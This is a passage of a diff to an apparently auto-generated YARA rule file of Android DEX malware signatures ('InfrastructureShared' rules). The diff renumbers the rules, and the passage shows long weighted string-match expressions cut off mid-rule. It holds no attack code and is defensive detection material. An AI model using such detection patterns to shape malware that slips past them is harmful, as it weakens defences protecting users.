& 1)*10+(#a_01_175 & 1)*10+(#a_01_176 & 1)*10+(#a_01_177 & 1)*10+(#a_01_178 & 1)*10+(#a_01_179 & 1)*10+(#a_01_180 & 1)*10+(#a_01_181 & 1)*10+(#a_01_182 & 1)*10+(#a_01_183 & 1)*10+(#a_01_184 & 1)*10+(#a_01_185 & 1)*10+(#a_01_186 & 1)*10+(#a_01_187 & 1)*10+(#a_01_188 & 1)*10+(#a_01_189 & 1)*10+(#a_01_190 & 1)*10+(#a_01_191 & 1)*10+(#a_01_192 & 1)*10+(#a_01_193 & 1)*10+(#a_01_194 & 1)*10+(#a_01_195 & 1)*10+(#a_01_196 & 1)*10+(#a_01_197 & 1)*10+(#a_01_198 & 1)*10+(#a_01_199 & 1)*10+(#a_01_200 & 1)*10+(#a_01_201 & 1)*10+(#a_01_202 & 1)*10+(#a_01_203 & 1)*10+(#a_01_204 & 1)*10+(#a_01_205 & 1)*10+(#a_01_206 & 1)*10+(#a_01_207 & 1)*10+(#a_01_208 & 1)*10+(#a_01_209 & 1)*10+(#a_01_210 & 1)*10+(#a_01_211 & 1)*10+(#a_01_212 & 1)*10+(#a_01_213 & 1)*10+(#a_01_214 & 1)*10+(#a_01_215 & 1)*10+(#a_01_216 & 1)*10+(#a_01_217 & 1)*10+(#a_01_218 & 1)*10+(#a_01_219 & 1)*10+(#a_01_220 & 1)*10+(#a_01_221 & 1)*10+(#a_01_222 & 1)*10+(#a_01_223 & 1)*10+(#a_01_224 & 1)*10+(#a_01_225 & 1)*10+(#a_01_226 & 1)*10+(#a_01_227 & 1)*10+(#a_01_228 & 1)*10+(#a_01_229 & 1)*10+(#a_01_230 & 1)*10+(#a_01_231 & 1)*10+(#a_01_232 & 1)*10+(#a_01_233 & 1)*10+(#a_01_234 & 1)*10+(#a_01_235 & 1)*10+(#a_01_236 & 1)*10+(#a_01_237 & 1)*10+(#a_01_238 & 1)*10+(#a_01_239 & 1)*10+(#a_01_240 & 1)*10+(#a_01_241 & 1)*10+(#a_01_242 & 1)*10+(#a_01_243 & 1)*10+(#a_01_244 & 1)*10+(#a_01_245 & 1)*10+(#a_01_246 & 1)*10+(#a_01_247 & 1)*10+(#a_01_248 & 1)*10+(#a_01_249 & 1)*10+(#a_01_250 & 1)*10+(#a_01_251 & 1)*10+(#a_01_252 & 1)*10+(#a_01_253 & 1)*10+(#a_01_254 & 1)*10+(#a_01_255 & 1)*10+(#a_01_256 & 1)*10+(#a_01_257 & 1)*10+(#a_01_258 & 1)*10+(#a_01_259 & 1)*10+(#a_01_260 & 1)*10+(#a_01_261 & 1)*10+(#a_01_262 & 1)*10+(#a_01_263 & 1)*10+(#a_01_264 & 1)*10+(#a_01_265 & 1)*10+(#a_01_266 & 1)*10+(#a_01_267 & 1)*10+(#a_01_268 & 1)*10+(#a_01_269 & 1)*10+(#a_01_270 & 1)*10+(#a_01_271 & 1)*10+(#a_01_272 & 1)*10+(#a_01_273 & 1)*10+(#a_01_274 & 1)*10+(#a_01_275 & 1)*10+(#a_01_276 & 1)*10+(#a_01_277 & 1)*10+(#a_01_278 & 1)*10+(#a_01_279 & 1)*10+(#a_01_280 & 1)*10+(#a_01_281 & 1)*10+(#a_01_282 & 1)*10+(#a_01_283 & 1)*10+(#a_01_284 & 1)*10+(#a_01_285 & 1)*10+(#a_01_286 & 1)*10+(#a_01_287 & 1)*10+(#a_01_288 & 1)*10+(#a_01_289 & 1)*10+(#a_01_290 & 1)*10+(#a_01_291 & 1)*10+(#a_01_292 & 1)*10+(#a_01_293 & 1)*10+(#a_01_294 & 1)*10+(#a_01_295 & 1)*10+(#a_01_296 & 1)*10+(#a_01_297 & 1)*10+(#a_01_298 & 1)*10+(#a_01_299 & 1)*10+(#a_01_300 & 1)*10+(#a_01_301 & 1)*10+(#a_01_302 & 1)*10+(#a_01_303 & 1)*10+(#a_01_304 & 1)*10+(#a_01_305 & 1)*10+(#a_01_306 & 1)*10+(#a_01_307 & 1)*10+(#a_01_308 & 1)*10+(#a_df_309 & 1)*0+(#a_63_310 & 1)*12133+(#a_69_311 & 1)*12141+(#a_6d_313 & 1)*25420+(#a_6e_314 & 1)*12137+(#a_61_315 & 1)*24951+(#a_62_316 & 1)*31279+(#a_4c_317 & 1)*14848+(#a_6f_318 & 1)*12141+(#a_74_319 & 1)*28531+(#a_63_320 & 1)*280+(#a_2f_321 & 1)*30583+(#a_79_322 & 1)*26998+(#a_6c_323 & 1)*27951+(#a_65_324 & 1)*19457+(#a_66_325 & 1)*29300+(#a_63_326 & 1)*27753+(#a_2f_327 & 1)*27765+(#a_6c_328 & 1)*24941+(#a_76_329 & 1)*29795+(#a_0a_330 & 1)*29801+(#a_61_331 & 1)*25705+(#a_6d_332 & 1)*25391+(#a_41_333 & 1)*25705+(#a_6c_334 & 1)*24931+(#a_2f_335 & 1)*28515+(#a_61_336 & 1)*29281+(#a_61_337 & 1)*26415+(#a_43_338 & 1)*17711+(#a_6e_339 & 1)*19457+(#a_63_340 & 1)*292+(#a_69_341 & 1)*19813+(#a_61_342 & 1)*28530+(#a_73_343 & 1)*27183+(#a_63_344 & 1)*13105+(#a_6f_345 & 1)*19457+(#a_69_346 & 1)*12141+(#a_61_347 & 1)*12137+(#a_54_348 & 1)*31073+(#a_74_349 & 1)*16754+(#a_6d_351 & 1)*25420+(#a_76_352 & 1)*29795+(#a_32_353 & 1)*13877+(#a_77_354 & 1)*28015+(#a_61_355 & 1)*28783+(#a_49_356 & 1)*28737+(#a_72_357 & 1)*28002+(#a_61_358 & 1)*28015+(#a_70_359 & 1)*12140+(#a_75_360 & 1)*12081+(#a_69_361 & 1)*26996+(#a_69_362 & 1)*12142+(#a_69_363 & 1)*26996+(#a_73_364 & 1)*26994+(#a_4e_365 & 1)*26977+(#a_63_366 & 1)*27760+(#a_69_367 & 1)*24935+(#a_61_368 & 1)*29550+(#a_57_369 & 1)*26997+(#a_61_370 & 1)*306+(#a_01_371 & 1)*10+(#a_01_372 & 1)*10+(#a_01_373 & 1)*10+(#a_01_374 & 1)*10+(#a_01_375 & 1)*10+(#a_01_376 & 1)*10+(#a_01_377 & 1)*10+(#a_01_378 & 1)*10+(#a_01_379 & 1)*10+(#a_01_380 & 1)*10+(#a_01_381 & 1)*10+(#a_01_382 & 1)*10+(#a_01_383 & 1)*10+(#a_01_384 & 1)*10+(#a_01_385 & 1)*10+(#a_01_386 & 1)*10+(#a_01_387 & 1)*10+(#a_01_388 & 1)*10+(#a_01_389 & 1)*10+(#a_01_390 & 1)*10+(#a_01_391 & 1)*10+(#a_01_392 & 1)*10+(#a_01_393 & 1)*10+(#a_01_394 & 1)*10) >=10 } -rule _InfrastructureShared_24908{ +rule _InfrastructureShared_26222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 23 02 21 " @@ -327755,7 +344594,7 @@ rule _InfrastructureShared_24908{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27751+(#a_4c_2 & 1)*7168+(#a_61_3 & 1)*12141+(#a_79_4 & 1)*28261+(#a_76_5 & 1)*26992+(#a_69_6 & 1)*19759+(#a_74_7 & 1)*26473+(#a_53_8 & 1)*12141+(#a_79_9 & 1)*26998+(#a_70_10 & 1)*12147+(#a_4d_11 & 1)*29556+(#a_6e_12 & 1)*17199+(#a_6f_13 & 1)*19457+(#a_6d_14 & 1)*25420+(#a_72_16 & 1)*30540+(#a_00_17 & 1)*24946+(#a_74_18 & 1)*25955+(#a_46_19 & 1)*25957+(#a_65_20 & 1)*29283+(#a_65_21 & 1)*28526+(#a_65_22 & 1)*24940+(#a_01_23 & 1)*10+(#a_01_24 & 1)*10+(#a_01_25 & 1)*10+(#a_01_26 & 1)*10+(#a_01_27 & 1)*10+(#a_01_28 & 1)*10+(#a_01_29 & 1)*10+(#a_01_30 & 1)*10+(#a_01_31 & 1)*10+(#a_01_32 & 1)*10+(#a_01_33 & 1)*10+(#a_01_34 & 1)*10+(#a_01_35 & 1)*10+(#a_01_36 & 1)*10+(#a_01_37 & 1)*10+(#a_01_38 & 1)*10+(#a_01_39 & 1)*10+(#a_01_40 & 1)*10+(#a_01_41 & 1)*10+(#a_01_42 & 1)*10+(#a_01_43 & 1)*10+(#a_01_44 & 1)*10+(#a_01_45 & 1)*10+(#a_01_46 & 1)*10+(#a_01_47 & 1)*10+(#a_01_48 & 1)*10+(#a_01_49 & 1)*10+(#a_01_50 & 1)*10+(#a_01_51 & 1)*10+(#a_01_52 & 1)*10+(#a_01_53 & 1)*10+(#a_01_54 & 1)*10+(#a_01_55 & 1)*10+(#a_01_56 & 1)*10+(#a_01_57 & 1)*10+(#a_01_58 & 1)*10+(#a_01_59 & 1)*10+(#a_01_60 & 1)*10+(#a_01_61 & 1)*10+(#a_01_62 & 1)*10+(#a_01_63 & 1)*10+(#a_01_64 & 1)*10+(#a_01_65 & 1)*10+(#a_01_66 & 1)*10+(#a_01_67 & 1)*10+(#a_01_68 & 1)*10+(#a_01_69 & 1)*10+(#a_01_70 & 1)*10+(#a_01_71 & 1)*10+(#a_01_72 & 1)*10+(#a_01_73 & 1)*10+(#a_01_74 & 1)*10+(#a_01_75 & 1)*10+(#a_01_76 & 1)*10+(#a_01_77 & 1)*10+(#a_01_78 & 1)*10+(#a_01_79 & 1)*10+(#a_01_80 & 1)*10+(#a_01_81 & 1)*10+(#a_01_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_01_88 & 1)*10+(#a_01_89 & 1)*10+(#a_01_90 & 1)*10+(#a_01_91 & 1)*10+(#a_01_92 & 1)*10+(#a_01_93 & 1)*10+(#a_01_94 & 1)*10+(#a_01_95 & 1)*10+(#a_01_96 & 1)*10+(#a_01_97 & 1)*10+(#a_01_98 & 1)*10+(#a_01_99 & 1)*10+(#a_01_100 & 1)*10+(#a_01_101 & 1)*10+(#a_01_102 & 1)*10+(#a_01_103 & 1)*10+(#a_01_104 & 1)*10+(#a_01_105 & 1)*10+(#a_01_106 & 1)*10+(#a_01_107 & 1)*10+(#a_01_108 & 1)*10+(#a_01_109 & 1)*10+(#a_01_110 & 1)*10+(#a_01_111 & 1)*10+(#a_01_112 & 1)*10+(#a_01_113 & 1)*10+(#a_01_114 & 1)*10+(#a_01_115 & 1)*10+(#a_01_116 & 1)*10+(#a_01_117 & 1)*10+(#a_01_118 & 1)*10+(#a_01_119 & 1)*10+(#a_01_120 & 1)*10+(#a_01_121 & 1)*10+(#a_01_122 & 1)*10+(#a_01_123 & 1)*10+(#a_01_124 & 1)*10+(#a_01_125 & 1)*10+(#a_01_126 & 1)*10+(#a_01_127 & 1)*10+(#a_01_128 & 1)*10+(#a_01_129 & 1)*10+(#a_01_130 & 1)*10+(#a_01_131 & 1)*10+(#a_01_132 & 1)*10+(#a_01_133 & 1)*10+(#a_01_134 & 1)*10+(#a_01_135 & 1)*10+(#a_01_136 & 1)*10+(#a_01_137 & 1)*10+(#a_01_138 & 1)*10+(#a_01_139 & 1)*10+(#a_01_140 & 1)*10+(#a_01_141 & 1)*10+(#a_01_142 & 1)*10+(#a_01_143 & 1)*10+(#a_01_144 & 1)*10+(#a_01_145 & 1)*10+(#a_01_146 & 1)*10+(#a_01_147 & 1)*10+(#a_01_148 & 1)*10+(#a_01_149 & 1)*10+(#a_01_150 & 1)*10+(#a_01_151 & 1)*10+(#a_01_152 & 1)*10+(#a_01_153 & 1)*10+(#a_01_154 & 1)*10+(#a_01_155 & 1)*10+(#a_01_156 & 1)*10+(#a_01_157 & 1)*10+(#a_01_158 & 1)*10+(#a_01_159 & 1)*10+(#a_01_160 & 1)*10+(#a_01_161 & 1)*10+(#a_01_162 & 1)*10+(#a_01_163 & 1)*10+(#a_01_164 & 1)*10+(#a_01_165 & 1)*10+(#a_01_166 & 1)*10+(#a_01_167 & 1)*10+(#a_01_168 & 1)*10+(#a_01_169 & 1)*10+(#a_01_170 & 1)*10+(#a_01_171 & 1)*10+(#a_01_172 & 1)*10+(#a_01_173 & 1)*10+(#a_01_174 & 1)*10+(#a_01_175 & 1)*10+(#a_01_176 & 1)*10+(#a_01_177 & 1)*10+(#a_01_178 & 1)*10+(#a_01_179 & 1)*10+(#a_01_180 & 1)*10+(#a_01_181 & 1)*10+(#a_01_182 & 1)*10+(#a_01_183 & 1)*10+(#a_01_184 & 1)*10+(#a_01_185 & 1)*10+(#a_01_186 & 1)*10+(#a_01_187 & 1)*10+(#a_01_188 & 1)*10+(#a_01_189 & 1)*10+(#a_01_190 & 1)*10+(#a_01_191 & 1)*10+(#a_01_192 & 1)*10+(#a_01_193 & 1)*10+(#a_01_194 & 1)*10+(#a_01_195 & 1)*10+(#a_01_196 & 1)*10+(#a_01_197 & 1)*10+(#a_01_198 & 1)*10+(#a_01_199 & 1)*10+(#a_01_200 & 1)*10+(#a_01_201 & 1)*10+(#a_01_202 & 1)*10+(#a_01_203 & 1)*10+(#a_01_204 & 1)*10+(#a_01_205 & 1)*10+(#a_01_206 & 1)*10+(#a_01_207 & 1)*10+(#a_01_208 & 1)*10+(#a_01_209 & 1)*10+(#a_01_210 & 1)*10+(#a_01_211 & 1)*10+(#a_01_212 & 1)*10+(#a_01_213 & 1)*10+(#a_01_214 & 1)*10+(#a_01_215 & 1)*10+(#a_01_216 & 1)*10+(#a_01_217 & 1)*10+(#a_01_218 & 1)*10+(#a_01_219 & 1)*10+(#a_01_220 & 1)*10+(#a_01_221 & 1)*10+(#a_01_222 & 1)*10+(#a_01_223 & 1)*10+(#a_01_224 & 1)*10+(#a_01_225 & 1)*10+(#a_01_226 & 1)*10+(#a_01_227 & 1)*10+(#a_01_228 & 1)*10+(#a_01_229 & 1)*10+(#a_01_230 & 1)*10+(#a_01_231 & 1)*10+(#a_01_232 & 1)*10+(#a_01_233 & 1)*10+(#a_01_234 & 1)*10+(#a_01_235 & 1)*10+(#a_01_236 & 1)*10+(#a_01_237 & 1)*10+(#a_01_238 & 1)*10+(#a_01_239 & 1)*10+(#a_01_240 & 1)*10+(#a_01_241 & 1)*10+(#a_01_242 & 1)*10+(#a_01_243 & 1)*10+(#a_01_244 & 1)*10+(#a_01_245 & 1)*10+(#a_01_246 & 1)*10+(#a_01_247 & 1)*10+(#a_01_248 & 1)*10+(#a_01_249 & 1)*10+(#a_01_250 & 1)*10+(#a_01_251 & 1)*10+(#a_01_252 & 1)*10+(#a_01_253 & 1)*10+(#a_01_254 & 1)*10+(#a_01_255 & 1)*10+(#a_01_256 & 1)*10+(#a_01_257 & 1)*10+(#a_01_258 & 1)*10+(#a_01_259 & 1)*10+(#a_01_260 & 1)*10+(#a_01_261 & 1)*10+(#a_01_262 & 1)*10+(#a_01_263 & 1)*10+(#a_01_264 & 1)*10+(#a_01_265 & 1)*10+(#a_01_266 & 1)*10+(#a_01_267 & 1)*10+(#a_01_268 & 1)*10+(#a_01_269 & 1)*10+(#a_01_270 & 1)*10+(#a_01_271 & 1)*10+(#a_01_272 & 1)*10+(#a_01_273 & 1)*10+(#a_01_274 & 1)*10+(#a_01_275 & 1)*10+(#a_01_276 & 1)*10+(#a_01_277 & 1)*10+(#a_01_278 & 1)*10+(#a_01_279 & 1)*10+(#a_01_280 & 1)*10+(#a_01_281 & 1)*10+(#a_01_282 & 1)*10+(#a_01_283 & 1)*10+(#a_01_284 & 1)*10+(#a_01_285 & 1)*10+(#a_01_286 & 1)*10+(#a_01_287 & 1)*10+(#a_01_288 & 1)*10+(#a_01_289 & 1)*10+(#a_01_290 & 1)*10+(#a_01_291 & 1)*10+(#a_01_292 & 1)*10+(#a_01_293 & 1)*10+(#a_01_294 & 1)*10+(#a_01_295 & 1)*10+(#a_01_296 & 1)*10+(#a_01_297 & 1)*10+(#a_01_298 & 1)*10+(#a_01_299 & 1)*10+(#a_01_300 & 1)*10+(#a_01_301 & 1)*10+(#a_01_302 & 1)*10+(#a_01_303 & 1)*10+(#a_01_304 & 1)*10+(#a_01_305 & 1)*10+(#a_01_306 & 1)*10+(#a_01_307 & 1)*10+(#a_01_308 & 1)*10+(#a_01_309 & 1)*10+(#a_01_310 & 1)*10+(#a_01_311 & 1)*10+(#a_01_312 & 1)*10+(#a_01_313 & 1)*10+(#a_01_314 & 1)*10+(#a_01_315 & 1)*10+(#a_01_316 & 1)*10+(#a_01_317 & 1)*10+(#a_01_318 & 1)*10+(#a_01_319 & 1)*10+(#a_01_320 & 1)*10+(#a_01_321 & 1)*10+(#a_01_322 & 1)*10+(#a_01_323 & 1)*10+(#a_01_324 & 1)*10+(#a_01_325 & 1)*10+(#a_01_326 & 1)*10+(#a_01_327 & 1)*10+(#a_01_328 & 1)*10+(#a_01_329 & 1)*10+(#a_01_330 & 1)*10+(#a_01_331 & 1)*10+(#a_01_332 & 1)*10+(#a_01_333 & 1)*10+(#a_01_334 & 1)*10+(#a_01_335 & 1)*10+(#a_01_336 & 1)*10+(#a_01_337 & 1)*10+(#a_01_338 & 1)*10+(#a_01_339 & 1)*10+(#a_01_340 & 1)*10+(#a_01_341 & 1)*10+(#a_01_342 & 1)*10+(#a_01_343 & 1)*10+(#a_01_344 & 1)*10+(#a_01_345 & 1)*10+(#a_01_346 & 1)*10+(#a_01_347 & 1)*10+(#a_01_348 & 1)*10+(#a_01_349 & 1)*10+(#a_01_350 & 1)*10+(#a_01_351 & 1)*10+(#a_01_352 & 1)*10+(#a_01_353 & 1)*10+(#a_01_354 & 1)*10+(#a_01_355 & 1)*10+(#a_01_356 & 1)*10+(#a_01_357 & 1)*10+(#a_01_358 & 1)*10+(#a_01_359 & 1)*10+(#a_01_360 & 1)*10+(#a_01_361 & 1)*10+(#a_01_362 & 1)*10+(#a_01_363 & 1)*10+(#a_01_364 & 1)*10+(#a_01_365 & 1)*10+(#a_01_366 & 1)*10+(#a_01_367 & 1)*10+(#a_01_368 & 1)*10+(#a_01_369 & 1)*10+(#a_01_370 & 1)*10+(#a_01_371 & 1)*10+(#a_01_372 & 1)*10+(#a_01_373 & 1)*10+(#a_01_374 & 1)*10+(#a_01_375 & 1)*10+(#a_01_376 & 1)*10+(#a_01_377 & 1)*10+(#a_01_378 & 1)*10+(#a_01_379 & 1)*10+(#a_01_380 & 1)*10+(#a_01_381 & 1)*10+(#a_01_382 & 1)*10+(#a_01_383 & 1)*10+(#a_01_384 & 1)*10+(#a_01_385 & 1)*10+(#a_01_386 & 1)*10+(#a_01_387 & 1)*10+(#a_01_388 & 1)*10+(#a_01_389 & 1)*10+(#a_01_390 & 1)*10+(#a_01_391 & 1)*10+(#a_01_392 & 1)*10+(#a_01_393 & 1)*10+(#a_01_394 & 1)*10+(#a_01_395 & 1)*10+(#a_01_396 & 1)*10+(#a_01_397 & 1)*10+(#a_01_398 & 1)*10+(#a_01_399 & 1)*10+(#a_01_400 & 1)*10+(#a_01_401 & 1)*10+(#a_01_402 & 1)*10+(#a_01_403 & 1)*10+(#a_01_404 & 1)*10+(#a_01_405 & 1)*10+(#a_01_406 & 1)*10+(#a_01_407 & 1)*10+(#a_01_408 & 1)*10+(#a_01_409 & 1)*10+(#a_01_410 & 1)*10+(#a_01_411 & 1)*10+(#a_01_412 & 1)*10+(#a_01_413 & 1)*10+(#a_01_414 & 1)*10+(#a_01_415 & 1)*10+(#a_01_416 & 1)*10+(#a_01_417 & 1)*10+(#a_01_418 & 1)*10+(#a_01_419 & 1)*10+(#a_01_420 & 1)*10+(#a_01_421 & 1)*10+(#a_01_422 & 1)*10+(#a_01_423 & 1)*10+(#a_01_424 & 1)*10+(#a_01_425 & 1)*10+(#a_01_426 & 1)*10+(#a_01_427 & 1)*10+(#a_01_428 & 1)*10+(#a_01_429 & 1)*10+(#a_01_430 & 1)*10+(#a_01_431 & 1)*10+(#a_01_432 & 1)*10+(#a_01_433 & 1)*10+(#a_01_434 & 1)*10+(#a_01_435 & 1)*10+(#a_01_436 & 1)*10+(#a_01_437 & 1)*10+(#a_01_438 & 1)*10+(#a_01_439 & 1)*10+(#a_01_440 & 1)*10+(#a_01_441 & 1)*10+(#a_01_442 & 1)*10+(#a_01_443 & 1)*10+(#a_01_444 & 1)*10+(#a_01_445 & 1)*10+(#a_01_446 & 1)*10+(#a_01_447 & 1)*10+(#a_01_448 & 1)*10+(#a_01_449 & 1)*10+(#a_01_450 & 1)*10+(#a_01_451 & 1)*10+(#a_01_452 & 1)*10+(#a_01_453 & 1)*10+(#a_01_454 & 1)*10+(#a_01_455 & 1)*10+(#a_01_456 & 1)*10+(#a_01_457 & 1)*10+(#a_01_458 & 1)*10+(#a_01_459 & 1)*10+(#a_01_460 & 1)*10+(#a_01_461 & 1)*10+(#a_01_462 & 1)*10+(#a_01_463 & 1)*10+(#a_01_464 & 1)*10+(#a_01_465 & 1)*10+(#a_01_466 & 1)*10+(#a_01_467 & 1)*10+(#a_01_468 & 1)*10+(#a_01_469 & 1)*10+(#a_01_470 & 1)*10+(#a_01_471 & 1)*10+(#a_01_472 & 1)*10+(#a_01_473 & 1)*10+(#a_01_474 & 1)*10+(#a_01_475 & 1)*10+(#a_01_476 & 1)*10+(#a_01_477 & 1)*10+(#a_01_478 & 1)*10+(#a_01_479 & 1)*10+(#a_01_480 & 1)*10+(#a_01_481 & 1)*10+(#a_01_482 & 1)*10+(#a_01_483 & 1)*10+(#a_01_484 & 1)*10+(#a_01_485 & 1)*10+(#a_01_486 & 1)*10+(#a_01_487 & 1)*10+(#a_01_488 & 1)*10+(#a_01_489 & 1)*10+(#a_01_490 & 1)*10+(#a_01_491 & 1)*10+(#a_01_492 & 1)*10+(#a_01_493 & 1)*10+(#a_01_494 & 1)*10+(#a_01_495 & 1)*10+(#a_01_496 & 1)*10+(#a_01_497 & 1)*10+(#a_01_498 & 1)*10+(#a_01_499 & 1)*10+(#a_01_500 & 1)*10+(#a_01_501 & 1)*10+(#a_01_502 & 1)*10+(#a_01_503 & 1)*10+(#a_01_504 & 1)*10+(#a_01_505 & 1)*10+(#a_01_506 & 1)*10+(#a_01_507 & 1)*10+(#a_01_508 & 1)*10+(#a_01_509 & 1)*10+(#a_01_510 & 1)*10+(#a_01_511 & 1)*10+(#a_01_512 & 1)*10+(#a_01_513 & 1)*10+(#a_01_514 & 1)*10+(#a_01_515 & 1)*10+(#a_01_516 & 1)*10+(#a_01_517 & 1)*10+(#a_01_518 & 1)*10+(#a_82_519 & 1)*0+(#a_0a_520 & 1)*29801+(#a_2f_521 & 1)*26977+(#a_63_522 & 1)*283+(#a_61_523 & 1)*28015+(#a_69_524 & 1)*24935+(#a_2f_525 & 1)*25453+(#a_74_526 & 1)*30313+(#a_6b_527 & 1)*26977+(#a_73_528 & 1)*21605+(#a_67_530 & 1)*28492+(#a_63_531 & 1)*300+(#a_74_532 & 1)*30313+(#a_2f_533 & 1)*27756+(#a_67_534 & 1)*27977+(#a_0a_535 & 1)*29801+(#a_53_536 & 1)*29285+(#a_65_537 & 1)*24941+(#a_76_538 & 1)*29795+(#a_6d_539 & 1)*25420+(#a_64_540 & 1)*28015+(#a_46_541 & 1)*25210+(#a_79_542 & 1)*26998+(#a_2f_543 & 1)*28515+(#a_69_544 & 1)*28515+(#a_74_545 & 1)*16750+(#a_65_546 & 1)*29550) >=10 } -rule _InfrastructureShared_24909{ +rule _InfrastructureShared_26223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 ffffffff 03 21 " @@ -328782,7 +345621,7 @@ rule _InfrastructureShared_24909{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*304+(#a_2f_2 & 1)*25961+(#a_65_3 & 1)*26978+(#a_74_4 & 1)*30313+(#a_6b_5 & 1)*28514+(#a_6d_6 & 1)*25420+(#a_74_7 & 1)*16756+(#a_2f_8 & 1)*29281+(#a_4d_9 & 1)*26997+(#a_76_10 & 1)*29795+(#a_70_11 & 1)*28532+(#a_62_12 & 1)*12141+(#a_63_13 & 1)*29811+(#a_31_14 & 1)*27745+(#a_00_15 & 1)*31092+(#a_61_16 & 1)*25959+(#a_72_17 & 1)*21551+(#a_4c_18 & 1)*8192+(#a_69_19 & 1)*25714+(#a_63_20 & 1)*29811+(#a_64_21 & 1)*27951+(#a_6d_22 & 1)*28975+(#a_6b_23 & 1)*28514+(#a_69_24 & 1)*12147+(#a_61_25 & 1)*26996+(#a_6f_26 & 1)*26996+(#a_6f_27 & 1)*29801+(#a_79_28 & 1)*26998+(#a_6e_29 & 1)*12146+(#a_74_30 & 1)*27764+(#a_69_31 & 1)*26996+(#a_64_32 & 1)*24879+(#a_74_33 & 1)*28207+(#a_73_34 & 1)*28531+(#a_79_35 & 1)*26998+(#a_49_36 & 1)*26477+(#a_73_37 & 1)*26996+(#a_74_38 & 1)*16750+(#a_74_39 & 1)*30313+(#a_62_40 & 1)*24939+(#a_74_41 & 1)*25447+(#a_76_42 & 1)*29795+(#a_6c_43 & 1)*26978+(#a_2f_45 & 1)*27980+(#a_61_46 & 1)*25955+(#a_4e_47 & 1)*29554+(#a_74_48 & 1)*30313+(#a_78_49 & 1)*31023+(#a_69_50 & 1)*12147+(#a_4c_51 & 1)*9728+(#a_74_52 & 1)*27757+(#a_61_53 & 1)*29550+(#a_6f_54 & 1)*12129+(#a_79_55 & 1)*26998+(#a_68_56 & 1)*12147+(#a_6f_57 & 1)*12129+(#a_61_58 & 1)*27753+(#a_6e_59 & 1)*29812+(#a_6a_60 & 1)*25966+(#a_67_61 & 1)*28521+(#a_61_62 & 1)*26415+(#a_63_63 & 1)*25965+(#a_76_64 & 1)*29795+(#a_01_65 & 1)*10+(#a_01_66 & 1)*10+(#a_01_67 & 1)*10+(#a_01_68 & 1)*10+(#a_01_69 & 1)*10+(#a_01_70 & 1)*10+(#a_01_71 & 1)*10+(#a_01_72 & 1)*10+(#a_01_73 & 1)*10+(#a_01_74 & 1)*10+(#a_01_75 & 1)*10+(#a_01_76 & 1)*10+(#a_01_77 & 1)*10+(#a_01_78 & 1)*10+(#a_01_79 & 1)*10+(#a_01_80 & 1)*10+(#a_01_81 & 1)*10+(#a_01_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_01_88 & 1)*10+(#a_01_89 & 1)*10+(#a_01_90 & 1)*10+(#a_01_91 & 1)*10+(#a_01_92 & 1)*10+(#a_01_93 & 1)*10+(#a_01_94 & 1)*10+(#a_01_95 & 1)*10+(#a_01_96 & 1)*10+(#a_01_97 & 1)*10+(#a_01_98 & 1)*10+(#a_01_99 & 1)*10+(#a_01_100 & 1)*10+(#a_01_101 & 1)*10+(#a_01_102 & 1)*10+(#a_01_103 & 1)*10+(#a_01_104 & 1)*10+(#a_01_105 & 1)*10+(#a_01_106 & 1)*10+(#a_01_107 & 1)*10+(#a_01_108 & 1)*10+(#a_01_109 & 1)*10+(#a_01_110 & 1)*10+(#a_01_111 & 1)*10+(#a_01_112 & 1)*10+(#a_01_113 & 1)*10+(#a_01_114 & 1)*10+(#a_01_115 & 1)*10+(#a_01_116 & 1)*10+(#a_01_117 & 1)*10+(#a_01_118 & 1)*10+(#a_01_119 & 1)*10+(#a_01_120 & 1)*10+(#a_01_121 & 1)*10+(#a_01_122 & 1)*10+(#a_01_123 & 1)*10+(#a_01_124 & 1)*10+(#a_01_125 & 1)*10+(#a_01_126 & 1)*10+(#a_01_127 & 1)*10+(#a_01_128 & 1)*10+(#a_01_129 & 1)*10+(#a_01_130 & 1)*10+(#a_01_131 & 1)*10+(#a_01_132 & 1)*10+(#a_01_133 & 1)*10+(#a_01_134 & 1)*10+(#a_01_135 & 1)*10+(#a_01_136 & 1)*10+(#a_01_137 & 1)*10+(#a_01_138 & 1)*10+(#a_01_139 & 1)*10+(#a_01_140 & 1)*10+(#a_01_141 & 1)*10+(#a_01_142 & 1)*10+(#a_01_143 & 1)*10+(#a_01_144 & 1)*10+(#a_01_145 & 1)*10+(#a_01_146 & 1)*10+(#a_01_147 & 1)*10+(#a_01_148 & 1)*10+(#a_01_149 & 1)*10+(#a_01_150 & 1)*10+(#a_01_151 & 1)*10+(#a_01_152 & 1)*10+(#a_01_153 & 1)*10+(#a_01_154 & 1)*10+(#a_01_155 & 1)*10+(#a_01_156 & 1)*10+(#a_01_157 & 1)*10+(#a_01_158 & 1)*10+(#a_01_159 & 1)*10+(#a_01_160 & 1)*10+(#a_01_161 & 1)*10+(#a_01_162 & 1)*10+(#a_01_163 & 1)*10+(#a_01_164 & 1)*10+(#a_01_165 & 1)*10+(#a_01_166 & 1)*10+(#a_01_167 & 1)*10+(#a_01_168 & 1)*10+(#a_01_169 & 1)*10+(#a_01_170 & 1)*10+(#a_01_171 & 1)*10+(#a_01_172 & 1)*10+(#a_01_173 & 1)*10+(#a_01_174 & 1)*10+(#a_01_175 & 1)*10+(#a_01_176 & 1)*10+(#a_01_177 & 1)*10+(#a_01_178 & 1)*10+(#a_01_179 & 1)*10+(#a_01_180 & 1)*10+(#a_01_181 & 1)*10+(#a_01_182 & 1)*10+(#a_01_183 & 1)*10+(#a_01_184 & 1)*10+(#a_01_185 & 1)*10+(#a_01_186 & 1)*10+(#a_01_187 & 1)*10+(#a_01_188 & 1)*10+(#a_01_189 & 1)*10+(#a_01_190 & 1)*10+(#a_01_191 & 1)*10+(#a_01_192 & 1)*10+(#a_01_193 & 1)*10+(#a_01_194 & 1)*10+(#a_01_195 & 1)*10+(#a_01_196 & 1)*10+(#a_01_197 & 1)*10+(#a_01_198 & 1)*10+(#a_01_199 & 1)*10+(#a_01_200 & 1)*10+(#a_01_201 & 1)*10+(#a_01_202 & 1)*10+(#a_01_203 & 1)*10+(#a_01_204 & 